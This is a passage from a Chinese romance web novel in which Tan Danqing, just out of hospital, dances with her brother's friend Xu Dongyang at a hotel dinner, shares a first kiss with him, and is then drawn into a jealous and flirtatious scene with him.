他手撑在她枕旁,微微侧身,被体温烘暖的松木香漫上来。那气息清冽又深沉,像是雪后森林最挺拔的那棵冷杉,带着令人安心的侵略性。 她被这种亲近的感觉包裹起来。 “那怎么可能!”谈丹青下意识往后缩了缩,蜷在被子里,虚张声势地扬起眉梢,“我是谁啊,全天下只有我欺负别人的事,没有别人欺负我的。” 这话绪东阳压根不信。 她哪里会欺负人? “在广东,”他继续开口,嗓音沉缓,像是试探,又像是某种更深的追问,“有喜欢的人吗?” 他在她微博小号上看到了那盘桑拿鸡对面的筷子。 这个发现让他嫉妒得发疯。 她虽然告诉他,只是朋友,仍然化解不了这种愤恨。 他不也是她的朋友? 都是从朋友过来的。 谈丹青喉咙发紧。 用力往下吞咽。 想到方晏突然握着她的手。 又想到绪东阳握她的手。 他们一样大,都是年轻英俊的男孩。 但给她的感受,却是截然不同。 这种不同之处,就是心动和没有心动吗? 心动时,就像飞往云端,轻飘飘的。 “你今晚话好多。”谈丹青声音闷闷的,像是为了掩饰什么,咕哝:“你以前不是说话都一个字一个字往外蹦么?高冷学神。” “我话不多。” “还不多,你问好多。”谈丹青叨叨咕咕,故意别开脸不看他。 “我没有问很多。” 她干脆闭上眼睛,用被子盖住半张脸,说:“我太困啊,先睡了。” 她紧紧闭上眼睛。 视线被剥夺后,其他五官便变得尤为清晰。 她能听到绪东阳在她对面绵长温和的呼吸,嗅到他身上的气息,感觉到他身体散发出来的,像冬日里悄然靠近的暖炉,一阵阵熨帖着她的肌肤。 “我也没有。”她忽地听见他对她说。 她拧着眉头,才没睁开眼。 这句话应该是接她后面那句。 我也没有喜欢的人。 这段时间,谈丹青的睡眠质量并不好。 满脑子都是事儿,入睡艰难,好不容易睡着了,也睡得浅。 她原以为绪东阳在这儿,她会觉得尴尬不安睡不安稳。没想到有一个人守着她,反而让她潜意识觉得很安全,很安心,不受控制地放下了全部防备。她睡了一个难得的,婴儿式的好觉。 当她醒来时,才早上六点。她却已经睡得非常饱了。她睁开眼睛,就看见了绪东阳的发顶。他躺在她身侧,面朝着她,短短的碎发遮住了眼睛。清晨阳光朦胧,柔和地笼着他的脸。 她一动,发现他的手紧紧地抓着她的手。 他的手厚而暖,是冬天里足炭的火炉。 难怪她昨天一整晚都睡得很暖和。 谈丹青垂下眼,看着绪东阳的手。 手背上浅浅的皮肤肌理,在他带茧虎口上前后跳跃的光,还有圆润整齐的指甲。 她清醒时,绪东阳绝不会这么做。如果她今早晚醒来,绪东阳绝对已经悄悄放开了她的手。 握着她的手突然动了动。 谈丹青立刻闭上眼睛,呼吸放缓,仿佛还在沉睡。 她能感觉到握着她的手紧了紧,粗糙的指腹在她手背上轻轻滑动,他终于松开了手。 狭窄的护工床传来细碎的咯吱声。绪东阳动静很轻的起了身,然后又停了下来。 床身轻微响动,他应该回过身看她。 眼皮微微有些发热,不知是他看来时目光所带着的温度,还是透过纱布窗帘照射进来的阳光,落在了她的眼皮上。 眼前温暖的感觉暗了暗,带来绪东阳身上的气息。他用手挡了挡照射在她眼前的那束光。 紧接着床身再次跟晃动,窗帘传来轻响。紧闭的双眼前,似乎没有恼人的阳光了。 绪东阳起身去卫生间洗漱,动作很轻。 过了一会儿,他出来,打开桌上的水壶看了一眼,然后拎着出去。 谈丹青这才小心翼翼地睁开了眼睛,有些怅然。 现在这叫什么事儿呢? 40 第40章 ◎跳舞◎ 谈丹青在医院住了一晚两天,谈小白正好赶来,接她出院。 “公司的事,你操个什么心?”郑芳打电话跟她说:“都雇人盯着呢,有事儿会跟你汇报。你呢,就给我好好休息,别再让我抓到你又偷偷上班。” “行吧。”谈丹青百无聊赖地坐在床旁。绪东阳和谈小白帮她收拾东西。其实也没带什么东西,就一些毛毯、保温饭盒。 “我可是很讲义气的,今天有惊喜哦。”郑芳神神秘秘地说。 “惊喜?”谈丹青说:“你别吓我就好。” “真的是惊喜!你待会就知道了!”郑芳说。 挂了电话,谈丹青活动活动睡久僵硬的脖子。 惊喜? 她想着大概就是“蛋糕”?“鲜花”?“果篮”? “Hello!”一道清朗的声线突然传来,谈丹青抬头,方晏单手插兜,穿黑色羊绒大衣,茶色的墨镜架在鼻梁上,向上勾起的嘴角闪着一枚白皙的虎牙。 “阿晏?”谈丹青眼睛一亮,意外道:“你怎么来了?” 她给了他手臂一拳,笑着说:“来就来,也不提前说一声。你怎么知道我在这儿?” “芳芳姐跟我说的。”方晏笑盈盈地说。 “大过年的,怎么跑我这儿来了?” “我来这儿看雪啊。广东仔,没见过下雪。” 谈丹青笑了起来,说:“江城也不下雪啊!你白来这趟了。” 方晏在她面前微微低头,茶色墨镜滑到鼻尖,露出一双带着笑意的桃花眼,“不白来,姐姐在这儿啊。” 这声“姐姐”轻飘飘落地,却在病房里砸出一只无形的窟窿。 谈丹青顿时觉得后脖一凉,两道凉飕飕的目光同时落在她后脑上。 一道来自刚在水池洗好保温壶的谈小白。 另一道……更不用说,那灼热刺骨的视线源头,绝对是比空调暖气还冒火的绪东阳。 绪东阳目光锐利地扫了方晏一眼,就知这人便是那天的“桑拿鸡筷子”。 只是他没想到,对方竟也是个年轻人。 他姑且可以忍受自己的对手是魏繁星这样的长辈。 年长,以世俗层面的眼光看更可靠、会照顾人。即便关键节点他们从不会出现。 但他如何也忍受不了方晏。 方晏和他未免也太像了。 都只有二十出头。 甚至比他看起来还轻浮。 一股难以言喻的酸涩,混着无名火直冲头顶。 既然方晏可以? 凭什么他不行? 既然方晏都可以? 他还让个毛线步? “姐,这位是?”谈小白率先开口,语气里带着些委屈。 他对方晏也有心有不爽。 什么好人家,会招摇地抢人家的姐姐啊? 是你姐姐吗?就叫? 方晏看向屋里其他两人,目光在绪东阳身上顿了顿,带着点好奇的笑意问谈丹青:“你有两个弟弟?” “对,两个。” “没听你说,还以为你只有一个。”方晏故意说。 “我去办出院手续。”绪东阳抓起搭在椅背上的围巾,纯黑的羊绒料子在他掌心皱成一团,硬邦邦地扔下这句话,转身出去。 经过方晏身边时,方晏下意识往里让了一步。 他摸了摸自己的下巴,觉得他要是再让慢一点,这人绝对要把他一拳头打飞到天上。 “你弟弟……好像不怎么欢迎我。”方晏说。 谈丹青有些心虚地说:“他,他i人。” 为了给远道而来的方晏接风洗尘,谈丹青自然要好好请一顿。 她订好酒店,现在就开车过去。谈小白去接他女朋友,方晏租了辆suv,没跟他们挤,倒是省去了车内的“修罗场”氛围。 上了车,正系安全带,绪东阳突然开腔,硬邦邦地问:“你们很喜欢听别人叫姐姐?” “啊?”谈丹青一愣,随即反应过来,刚才方晏一进病房,就又甜又响地叫了她一声脆生生的“姐姐”。 老实说,她其实并不怎么喜欢方晏这么叫她。 总让她想起谈小白小时候奶声奶气追着她喊“姐姐”的样子,怪别扭的。 但此刻,她偏头看绪东阳的侧脸。 流畅的下颌线绷得紧紧的,视线固执地盯着窗外静止的街景。 她立刻生出了玩心。 绪东阳这小子,跟她混了这么多年,别说甜腻腻的“姐姐”,就连个正经的“姐”字,她都没听过一次。 这太不公平了。 她今天偏要听听,绪东阳怎么顶着这么一张人神共愤的脸,对她用纯欲风叫姐姐。 “对呀,你们男生难道不喜欢听人叫哥?”谈丹青发动车,眼底嘴角闪烁着狡黠的光,意有所指:“有的人啊,嘴就不甜,从来不叫。” 绪东阳身体明显一僵。 一个简单的“姐”字,仿佛变成了烧红的铁块,死死卡在他的喉咙里。 精致的唇瓣抿成一条倔强的直线,下牙槽咬得紧紧的,腮边甚至能看到微微鼓动的肌肉线条。 宝石形状的喉结上下滚动,那个字死活吐不出来。 车内狭小的空间里,空气都因为他这无声的挣扎而变得凝滞紧绷。 谈丹青等了几秒,看着他这副如临大敌、视死如归的模样,终于忍不住笑了出来,“嘁,不叫就不叫,小气鬼一个。” 车身启动,谈丹青占到了口头便宜,心情舒畅。 她开着车,却突然听见耳畔绪东阳的声音:“对着自己想保护的人,叫不出来姐。” 他想当守护者,而非被保护。他想站在她前面。 谈丹青脸上的笑容僵住。 像是被按下了暂停键,她甚至能清晰听到自己骤然加速的心跳声,“咚、咚、咚”,擂鼓般撞击着耳膜。 那点恶作剧得逞的小得意,在逐渐紊乱的心跳声里,蒸发得无影无踪。 * 这顿饭越吃越热闹。先是谈丹青叫来了几位朋友,郑芳来时又带了一串,方晏在江城认识的人也不少,于是一来二去,朋友带朋友,一间包厢没坐下,又另开了一间。其中有一半脸还是谈丹青不认识的。 谈丹青端着红酒挨桌蹿,笑颜如花,巧笑倩兮。 做生意嘛,朋友就是潜在的资源和机遇,认识的人越多,路子越宽,她心里的小算盘拨得噼啪响,脸上的笑容也愈发灿烂。 手里的红酒杯又见了底。谈丹青随手递给身边的谈小白,要他给自己满上。 谈小白刚一转身,一只骨节分明的手已经先一步将一杯深紫色的液体稳稳放在了她面前。 谈丹青头都没抬,下意识端起来凑近鼻尖一闻,脸上的笑容瞬间凝固了。她眯起眼,晃了晃杯子里浓稠得几乎挂壁的液体,语气带着难以置信的嫌弃。 “绪东阳,你给我倒的这是什么?小甜水啊?” “红酒。”绪东阳面不改色地说。 “红酒个鬼哦,”谈丹青说:“你家红酒没酒味儿?” 绪东阳这才如实招来:“桑葚汁。” 谈丹青被他这理直气壮的回答气笑了。 她举着那杯深紫色的果汁,对着灯光晃了晃,看着那浓稠的液体缓慢地沿着杯壁滑落,留下一道道蜿蜒的痕迹。 “还亏得你找的,”她嘲讽道:“给我找了个能挂壁的果汁。” “你不能再喝了。”绪东阳就站在她座位斜后方半步的位置,清俊的眉眼在包厢迷离的光线下显得有些冷硬,像一尊沉默的影子守护神。 “你刚出院,还吃了药。很多药不能跟酒精混着喝。要是非要喝,我帮你喝。” 他端起她面前那只还残留着一点深红液体的高脚杯。 仰起头,杯中残余的红酒被他一口饮尽。 辛辣的酒液滑过喉咙,他甚至连眉头都没皱一下。 这还只是开始。 他放下空杯,长臂一伸,直接拿过了一瓶新的红酒。 然后,在满桌人惊诧的注视下,再次举杯,仰头,饮尽。动作干净利落。 “好——!!!” 邻桌一个喝得满面红光的大哥猛地拍案而起,震得碗碟叮当作响,粗着嗓子大吼:“好酒量!兄弟够意思!干干干!!!” 这一嗓子如同点燃了引信,整个包厢瞬间沸腾了。 刚才还围着谈丹青劝酒的人,注意力立刻被这横空出世、沉默却彪悍的挡酒少年吸引了过去。口哨声、叫好声、起哄的“干杯”声此起彼伏,气氛被推向了一个新的高潮。 “小兄弟海量啊!” “再来一杯!” “谈老板这个小弟够意思啊!” 所有的火力,所有的喧嚣,瞬间从谈丹青身上转移。她被隔绝在这片疯狂的喧闹之外,像一个安静的旁观者。 他喝酒的样子,没有方晏那种玩世不恭的潇洒,也没有生意场上老油条们的豪迈圆滑,反而带着一种属于他的、诚挚又固执的认真。 仿佛这不是在喝酒,而是在完成一项必须由他来承担的任务,一项一定要护她的任务。 喧闹震天的包厢里,谈丹青的心情,却像沉入了一片寂静的海底,复杂得难以名状。 “行了行了,喝都喝不明白,浪费我的好酒。”谈丹青佯装不耐烦,顺势将绪东阳面前那瓶还剩小半的红酒“夺”了过来。 众人又哈哈大笑。 “哈哈哈,我们谈老板心疼酒了!” “小谈总别这么小气嘛!” 气氛瞬间从狂热的劝酒变成了善意的调侃,火力暂时转移。 绪东阳显然也不是什么很能喝酒的主。 薄红以肉眼可见的速度,迅速从他清俊的耳根蔓延开,像打翻的胭脂,晕染过白皙的脸颊,一路染上他挺直的鼻梁和光滑的额头。 那层红晕在他冷白的肤色上格外醒目,透出一种异常勾人的靡丽。 如果不是卫衣下隐隐透出的肌肉线条,昭示着他胸肌比拳头更大。 真的让人会生出非礼的歹心。 谈丹青的目光在他脸上停留了不过一秒,心头那点说不清道不明的烦躁感又涌了上来。 她想透口气,脚步有些虚浮地朝包厢外走去。 不出所料,身后那道沉稳的脚步声,几乎在她起身的瞬间就跟了上来,保持着不远不近的距离,像一个沉默的守护者,也像一个甩不掉的影子。 谈丹青不用回头也知道是谁。 她深吸一口气,走廊里清凉的空气带着淡淡香薰味,却丝毫没能浇熄心口那股因身后人而起的、莫名的燥热。 不知不觉,两人一前一后走到了二楼回廊的栏杆边。 楼下是饭店巨大的舞厅,此刻正流淌着舒缓的老歌。 水晶吊灯洒下柔和的光晕,映照着舞池中翩翩起舞的身影。这家老字号酒店的常客多是附近社区的居民,舞池里旋转、依偎着的,大多是头发花白、甚至银丝如雪的长者。他们衣着或许不算时髦,但舞步从容,眼神里带着岁月沉淀的温和。 谈丹青随意地倚着雕花栏杆,托腮往下看。 “挺浪漫的。”绪东阳低沉的声音在身侧响起,他也倚在栏杆边往下看。 谈丹青微微偏头,暖黄的灯光勾勒出他俊逸的侧影,眼眸映着舞池的流光,带着一种近乎虔诚的认真,仿佛被大厅中“执子之手,与子偕老”的画面触动了。 “浪漫吗?”谈丹青挑眉。 “嗯,”绪东阳的视线追随着一对配合默契、白发苍苍的舞伴,“看起来年龄都很大……像是,相伴相守了一生。” “噗嗤。”谈丹青立刻笑了起来。 绪东阳不解地转过头看她,“笑什么?” “虽说有点不想伤害你幼小的心灵,但……”暖黄的灯光勾勒出她慵懒的侧影,她整个人身上都散发着饮酒后葡萄糜烂的香。她压低声音,带着点分享“成人世界秘密”的神秘感,“来这里跳舞的,一般都是婚外情。” 绪东阳:“……” “这么老了也出轨吗?” “年龄越大行为越开放啊。”她饶有兴致地观察着绪东阳的脸色。 他紧抿着唇,眉头微蹙,从震惊到困惑再到一丝不易察觉的幻灭。 谈丹青心底升起一丝丝微妙的的惭愧感,她好像无意之中辣手摧残了一个少年浪漫的心。 为了弥补这份小小的愧疚,谈丹青从栏杆边站直身。 修长的身姿如雨后新竹般舒展开来,肩背挺直,亭亭玉立。 她用那双骄傲动人的眼睛睨着他,小巧精致的下颌轻轻一抬,像一只在月光湖面上准备起舞的、睥睨众生的优雅天鹅。 “喂,绪东阳,你会不会跳舞?” 【作者有话说】 偶买噶,收藏四位数啦!!! 怎么这么棒啊! 开心到各种转圈!!! (#^.^#) 谢谢贝贝们喜欢哇!muamuamua 40-50 41 第41章 ◎领舞◎ “不会。”绪东阳听到了自己的声线。 微微有些发颤。 谈丹青朝他走来,扑面带起一阵淡淡的香。 那是她身上常用的沐浴露的香气。 让他想到厨房窗户前那排被沐浴着阳光,迎风招展的翠绿薄荷。 她忽地握住了他的手腕,牵引着他的掌心,贴上自己的腰侧。 布料之下肌肤的温度,立刻透过薄薄的布料传递过来。 温,但又带了点软。 像一根带着韧性的柳条。 “你是男生,男生要领舞,让女生跟随你的步伐,所以你的姿势要强势一点。”这只手松开,然后放进他右手的掌心里。 他仿佛突然捉到了一块嫩豆腐。 细腻,嫩滑。 他不能不太用力,似乎稍一收紧指节,这块豆腐就会被他的手指碾碎。 “太僵了,别跟捧着个易碎品似的,我又不是玻璃做的……”她仰起脸,睫毛在灯光下扑簌簌地扇动。 “嗯。”他低低应了一声,嗓音沙哑。 问题从来不是他不够强势。 而是那些压抑在冷静表象下的渴望太过汹涌。 一旦表现出来自己的那股强烈的渴望,就会将谈丹青吓跑。所以他只能将一切暴烈的念头锁在紧绷的肌肉里,任由它们在血液里无声咆哮,最终化作看似笨拙的克制。 谈丹青轻启唇,在轻柔乐声里念着节拍:“一哒哒,二哒哒。” 指令如清泉滴答。 他依言迈步。 向前,退后。 他穿着黑色运动球鞋。 而谈丹青穿了一双红色缎绒尖头小高跟。 两双鞋,踏着鼓点进进退退。 头顶通明的水晶灯灯火倾泄,薄纱般的笼在谈丹青的脸上,额角一圈细细的绒毛染上了几点碎金。 他一步进得太急,于是谈丹青一脚踩在了他的脚背上。 她体重真的很轻,只有他每日体能训练哑铃重量的一半。 红宝石般的鞋头点在他的脚背上,力道比起踩踏,更像是触碰。 扶在她腰侧的手指失控地收紧了一瞬。 隔着衣料,触到两节凸起的脊骨。 “左脚,左脚!”她对他又气又笑,指尖在他肩头惩罚性地捏了捏,“先出左脚啦。” “谁的左边?” “当然是我的左边!” 绪东阳以谈丹青的左边为准,再次迈步,谈丹青却也跟着往左迈步。 “哒”再次精准地踩在了他的脚背上。 “哎呀!”谈丹青又要发难,责怪绪东阳左右不分。可她忽地意识到是自己弄错了左右,忙心虚地往后撤,整个人失去平衡向后倒去。 绪东阳本能地一把揽住她后仰的腰肢,强劲的力道猛地将她拽了回来,也紧紧地抱住了她。 谈丹青身高在女生中算得上修长,不穿高跟鞋身高接近一米七。 她的发顶刚刚好到他下巴的位置,一垂眸,就能看见她头顶两枚小小的发旋。 头发蓬松乌黑,散发着洗发露柠檬的香味,香味无孔不入地钻进他的鼻腔里,他身体的毛孔里。 她的腰柔软,仿佛抽去了骨头,只有温香软玉般的触感。 收拢手臂时,那纤细的腰肢在他强健的臂弯里微微凹陷下去,像在聚拢一团被阳光晒透、浸满柠檬香气的云朵。 谈丹青毫无缓冲地撞进绪东阳的怀里。 坚硬、滚烫、充满压迫性的存在感,瞬间碾碎了她所有关于“少年”的模糊定义。 他的胸膛宽厚得像一堵密不透风的石墙。 紧实的胸肌在薄薄的衣料下贲张起伏,每一次呼吸都带着灼人的热意和强劲的力道,毫无保留地传递过来,挤压着她。那绝不是少年单薄的清瘦,而是成熟的雄性躯干,充满旺盛的精力和雄性荷尔蒙。 这种清晰的意识,让她有些心慌意乱。 手指抵上绪东阳的胸膛,想将他推开。 “哆……” 前一首歌最后*一个音符结束,明亮的灯光突然暗了下来。 一串清澈如泉的钢琴音符流淌而出,轻盈地跳跃在骤然安静的空气里。 那旋律是如此熟悉,每个音符优美温柔,带着一点缘分的回响…… 两人同时怔住。 怎么是这首? 这支曲子没有人声,但第一个音符跳出后,就能听出,这是那晚绪东阳曾对她唱过的《一生有你》。 流淌的钢琴键里,仿佛还能听到那晚绪东阳的声音: “多少人曾爱慕你年轻时的容颜, “可知谁愿承受岁月无情的变迁…… “怎么是这首?”谈丹青用眼神睨着他,似是在质问是不是他搞的鬼。 “巧合,”原本虚扶在她腰侧的手掌蓦地收紧,温热的掌心透过薄薄的衣料传递出强势的力道,稳稳箍住了她下意识想往后退缩的腰肢,“跳完这曲吧。” 他引领着她旋入舞池中央的流光之中…… 谈丹青猝不及防,身体被那不容抗拒的力道带着转了小半圈。 身体的本能先于意识,跟随着他手臂的牵引和脚步的节奏旋转起来。 灯光流转,音乐缠绵。 绪东阳稳稳地掌控着节奏和方向。每一个转身、每一次进退,恰到好处。 谈丹青的眉却微微拧了起来,她不习惯被人反压一头的感觉,“你怎么开始领舞了?” 绪东阳说:“你说过,男生领舞时要主导,姿态要强势些。” “好吧……”这话她还真说过。 算不算搬起石头砸自己的脚? 谈丹青无奈地放松下紧绷的肩颈,扶住绪东阳的肩膀。 “那个姓方的。”绪东阳突然问。 “姓方的?”谈丹青说:“哦,你说方晏啊?” “他多大?”绪东阳说。 谈丹青抿唇,不告诉他。 “看起来毛没长齐。”绪东阳说。 谈丹青立刻笑了起来,说:“还说人家呢,他跟你一样大。” 紧接着,谈丹青愣了愣。往他胸口上戳了戳,说:“套路我呢?” “以前不是说,不谈年下。”绪东阳接着说。 “又没跟他谈。”谈丹青垂眼。 绪东阳看着她,突然笑了一下。 他本就有副不错的皮囊,不笑时如石如松,一笑更俊逸无瑕。 “你笑什么?”谈丹青磨牙。 总觉得绪东阳这笑,是憋着坏。 “没什么。”绪东阳温声道。 谈丹青什么都没说。 但他已经得到了他想要的答案。 她大概自己都没发现。 一整晚,她一直都在顾左右而言他。 有时候不肯给答案。 就已经是答案本身。 * 舞池里灯火流淌,璀璨如星河。 今晚刘彤也在这家饭店陪父母吃饭,经过雕花栏杆,她无意掠了一眼楼下喧闹的舞池,竟看到熟悉的身影。绪东阳在和一个女人一起跳舞。 那女人背对着她们,看不见脸,只能看见那窈窕的背影,腰细肩薄,四肢修长,及膝的黑色包臀裙下,是雪白纤细的腿。 她的黑发在脑后挽了一个温婉的结,夹了一枚金色发卡,几缕碎发垂落在她雪白的颈部,散发着法式慵懒的气质。 灯光主要打在绪东阳脸上,半明半暗的光影,将他脸上的每一丝神情都暴露无遗。 他的目光仿佛被无形的磁石牵引,牢牢锁在对面女子的脸庞上。那双总是清冷疏离的眼眸,此刻盛满了她从未见过的、毫不掩饰的迷恋。仿佛对面那个人的一颦一笑,一扬眉,一抿唇,都有力地牵动着他的心。 可那女人分明比她大许多。 男人不都应该喜欢年轻貌美的女孩吗? 一股难以言喻的酸涩和冰冷瞬间涌了上来。 她飞快地从口袋里掏出手机。 屏幕亮起,解锁,对准:“咔嚓。” 屏幕上清晰地定格了这一刻。 灯光下绪东阳那张写满迷恋的侧脸,和他怀中那个神秘纤长的背影。 她也不知道自己偷拍这张照片到底是想做什么。 反手将照片发在了她的小群里,煽动她的小姐妹们嘲讽照片上的人,“绪神是出什么事了吗?今天看到他和一个老女人跳舞。” * 作为初学者,绪东阳的动作有说不出的强势和熟练。 “你跳得还不错啊……”谈丹青眨了眨眼,渐渐放下对控制权的执着。 她由绪东阳领舞,自己跟着他的节奏,踏下每一声节拍。 很久没玩得这么开心,这么洒脱。 在被绪东阳拉着又旋转了一圈后,她忽地明白过来:“绪东阳,你是不是本来就会跳舞?” “是。”旋转出去,又拥抱回来。 绪东阳搂住她,让她倚着自己的肩头。 “好哇好哇,越学越坏了。”谈丹青故意装上生气的样子,在他耳边嘀嘀咕咕:“变坏了啊。” “哎,”她装模作样地长叹一口气,感慨:“小土狗变了,变小坏狗了。” 最后一个戏谑的字符尚未出口,所有的声音戛然而止。 绪东阳毫无预兆地低下头,高挺的鼻梁几乎蹭过她的脸颊。 他并没有直接吻上来,而是在一个呼吸都停滞的距离停住了。 他在嗅她。 温热、带着淡淡酒意和少年特有干净气息的呼吸,若有似无地拂过她微微开启的唇瓣。 像羽毛扫过最敏感的神经末梢,带来一阵细微却令人心悸的酥麻。 又像湿漉漉的野狗,轻拱着它最喜欢的玩具。 那动作带着一种近乎原始的、探寻般的专注,仿佛在仔细确认着什么。 时间仿佛被无限拉长,舞池的喧嚣和音乐都成了模糊的背景音。 “不愿意,就扇我。” 话音落下的瞬间,那片带着惊人热度和微微潮湿的柔软,终于覆了上来。 不是激烈的掠夺,而是带着试探的、小心翼翼的贴合,轻轻印在了她的唇畔。 像一片被风吹落的、滚烫的羽毛,精准地落在了她最不设防的角落。 然后沿着她的唇线,轻扫而过。 “嗡……” 谈丹青的脑中一片空白。 绪东阳似乎早已预判了她的每一丝震颤。 在她意识尚在混沌、身体不及反应的时刻,双手已如铁钳般紧紧抓住了她想挥动的手腕。 将她整个人死死地、密不透风地紧箍在怀中。 42 第42章 ◎门扉◎ 低沉醇厚的大提琴声,如情人最缠绵的私语,在耳畔缓缓流淌。 听说上唇主情,下唇主欲。 绪东阳的唇并不单薄,有着略微饱满的肉感。 他的唇,溢出微醺葡萄酒后的甜香,温热而执拗地厮磨着她的唇瓣。 那气息灼热,带着少年独有的干净与不容拒绝的侵略性,攻城略地般唤醒她每一寸沉睡的感官。 额前垂着的一缕乌黑的短发覆了下来,轻扫过她的眉骨,像青山深处一片沉静的夜色。 舞池的光影在四周旋转、模糊。 如同被卷入深海漩涡里,世界仿佛只剩下他臂弯的禁锢,他干净而炽烈的体温、他唇齿间的气息,和他胸膛下如擂鼓般狂野的心跳。 在令人炫目的混沌里,一个念头冒了出来,越来越清晰,直击她的心扉。 其实,她也很喜欢他的。 一种不曾浸润任何世俗的纯粹的喜欢。 生理性的喜欢。 无关他是否富有,是否成功。 后者的这种喜欢或许容易消逝。可前者的喜欢,更像是一串写进基因深处的古老密码,一旦响起,就再也无法抑制。 最后一丝紧绷的力气,终于从肩头卸去。 她身体往后倒过去,他便钳住她的腰,将她往怀中折。 她缓缓放松身体,那只原本抵着他胸膛的手,无声地抬起,悄悄落在他脖颈后那片黑短、微凉的碎发上。 算了。 她心想。 今晚酒很醇。 月色也很美。 就试一试吧。 当是偷偷吃了一口明知不能吃,但又诱人至极的冰淇淋。 乐曲最后一个音符湮灭。 灯光亮起,舞池中人群散开。 一对又一对刚刚结束舞蹈的伴侣挽着手臂,亲昵地从他们身旁经过。 几乎是条件反射般,两人默契地分开了原本相拥的姿态。 但在身体分开后,垂落在身侧的两只手,却像拥有自己的意志,依然紧紧地、十指交扣地抓握在一起。 谈丹青低下头,脸颊热腾腾的,舌尖上还残留着葡萄的甜。 绪东阳紧握着她的右手。她掌心好像开始冒汗,有些发粘。 他侧头看她,抬起空闲的手,带着厚茧的指腹,轻刮在她的唇角。 她每文感地瑟缩了一下,眼睫轻颤,有些紧张地问:“是,是妆花了吗?” “没有,”绪东阳目光沉沉地落在她的唇上,眼神专注得仿佛在审视一件稀世珍宝,低声道:“有点肿。” 谈丹青立刻从贝壳小包里掏出带小圆镜的粉饼,仔细照了照。 妆倒是没花。 只是嘴唇确实如绪东阳说的,有些红肿。 大概是做贼心虚,她总觉得自己现在这幅模样,谁看了都知道刚刚发生了什么。 新的舞曲奏起,绪东阳再次看向舞池中旋转的人群,温声问:“还想跳吗?” “不跳了。”谈丹青靠着绪东阳的肩,慵懒地摇摇头。 她对跳舞的瘾没那么大,跳过两支已经满足了。 此时更想找个安静的地方,两个人就这么互相赖着。 “出来太久了,得回去了。”谈丹青说。 “嗯。”绪东阳应了一声,宽厚的掌心依旧包裹着她微凉的手指,指腹仔细地摩挲揉捏着她的指节。一指节接着一指节,一根手指接着一根手指。 两人谁都没有松开的意思。 谈丹青索性将身体大半的重量都卸在他肩上。 鼻尖萦绕着他身上清冽干净的雪松气息,混杂着一丝淡淡的酒意。 她又贪恋地赖了几秒,不情不愿地直起身,“真得回去了,不然会有人找。” 两人拖着手,往外走。 绪东阳看她走向楼梯口相反的方向,问:“不回包厢?” “得去车上拿酒。”谈丹青抿了抿唇,声音带着明晃晃的做贼心虚,“到时候就能解释说,我们出来太久,是去拿酒。” 绪东阳脚步顿住,握着她手的力道紧了紧,侧目看她,低沉的嗓音里带着点戏谑:“拿什么酒要拿这么久?” 谈丹青瞪他,说:“那你想办法啊?” 他微微俯身,靠近她耳边,温热的气息拂过她敏感的耳廓,带着点蛊惑的味道:“就让他们知道我们刚刚做什么了呗。又不犯法。” 绪东阳的话很有蛊惑性,如果不是她意志非常坚定,真要被他说得心动。 “不犯法的事就都能做啦?”谈丹青没好气地觑他,说:“法律只是最低行为准线,但做人还是要有点道德好不好。” 绪东阳这会儿有点心不在焉。 他双眼总是走神到谈丹青开合的唇瓣上。那唇被他弄得微微发肿,色泽水润,张张合合之间卧了一尾殷红柔软的舌。 “反正……现在还不行,”谈丹青满怀心事地说:“你毕竟是小白的朋友。”她顿了顿,说:“我得想一想要怎么跟他说。” 绪东阳终于将视线从她唇上移开,对上她带着些许困扰和认真的眼眸,沉默地颔首,“好。” 其实他大约能想象出谈小白知道这件事后会怎么对他。 谈小白早把这事说得很明白。 早在他住进来的第一天,谈小白就亲口告诉他:“如果你敢泡我姐,我会杀了你,真的杀。” 但就像谈丹青说的。 他这人道德感并不是非常强。 尤其是关于谈丹青的事情上,他基本上是法无禁止皆可为。 两人拉着手去停车场取酒。 谈丹青在后备箱里找酒。 刚翻到一瓶还凑合的红酒,一滴水突然落在她的鼻尖上。 谈丹青抬头往上看。 头顶没有屋檐,落下的是在乌云里蓄了很久的雨水。 第一滴雨水坠落后,第二滴、第三滴紧随其后,瓢泼大雨骤然落下。瞬间浇湿了谈丹青。 露天停车场四周没有任何遮挡物,他们想躲雨,就必须跑回饭店里。谈丹青还站在原地,绪东阳一把将她搂了过来。他脱下运动外套撑在头上,拉着她就跑。 谈丹青好久没有这么快地奔跑过,急促扩张的肺叶仿佛要撑满胸腔,心率从60瞬间飙升到120,快到要从嗓子眼里吐出来,很快进入了一种濒临缺氧的感觉,整个人飘飘欲仙。 他们牵着手一路跑回饭店,谈丹青衣服被雨淋湿,紧紧握着的手也在微微颤抖。 “我先进去,你待会再进来。” “真像做贼,”绪东阳在她耳边说:“不对,像偷晴。” “你真是!”谈丹青脸一热,转身要往包厢走,却被绪东阳再次拉住。 “先别进去,你衣服湿了。”他垂着眼说,灼热的眼神落在她的领口上。 谈丹青低头看,上衣已经被雨淋湿了,呈现出半透明的状态,几乎能看见内里黑色肩带。 这样子是绝对不能进包厢,她经不住打了个寒战。 绪东阳说:“你穿我的衣服。” “不行。”谈丹青果断拒绝。 穿绪东阳的衣服,岂不是更解释不清。 “那去卫生间烘干。”他牵着她的手,推开包厢旁一扇厚重的门,将她带了进来。 门在身后合拢,隔绝了部分喧嚣。 狭小的空间被彻底填满。这里小得惊人,仅仅是他们两人并肩站着,便已再无一丝多余的空隙,连转身都显得局促。空气仿佛瞬间被抽走,带着湿气的氧气变得稀薄而滚烫,每一次呼吸都带着点争抢的意味,纠缠着彼此的气息。 绪东阳背脊抵着冰凉的瓷砖墙壁,手臂却依然保持着将她圈在身前的姿态,形成一个半包围的圈。 “擦一下水。”他从纸筒里抽出干净纸巾,轻柔细致地擦拭着她额前、脸颊、颈侧沾染的雨珠。 谈丹青心尖微颤,也学着他的样子,踮起脚尖,用手中微潮的纸巾,擦拭着他同样湿漉漉的短发。 她的手指不经意间滑过他线条流畅的下颌,触碰到那上下剧烈滚动的喉结。 绪东阳突然像只甩水的狗狗,故意幅度不大地晃了晃脑袋。 几颗晶莹的水珠不偏不倚地弹落在她光洁的额头和微微敞开的锁骨上,带来一阵微凉的刺激。 “脏死了脏死了!”谈丹青气急败坏,“水都弄到我身上了。” 他似乎特别喜欢听她骂他。 骂他坏、骂他脏。 每次听到这种字眼,他都有一种血液倒流的冲动。 于是他又无法控制地低头又去寻她的唇。 刚刚那点浅尝辄止的吻,远不能让他餍足。 怎么能够呢?他等待了太久蛰伏了太久压抑了太久,终于看到了雾蒙蒙的前方出现允许通行的绿灯,于是毫不留情地将油门一踩到底。 他搂紧谈丹青因无力不断往下滑的腰,然后将她抱上洗手台。 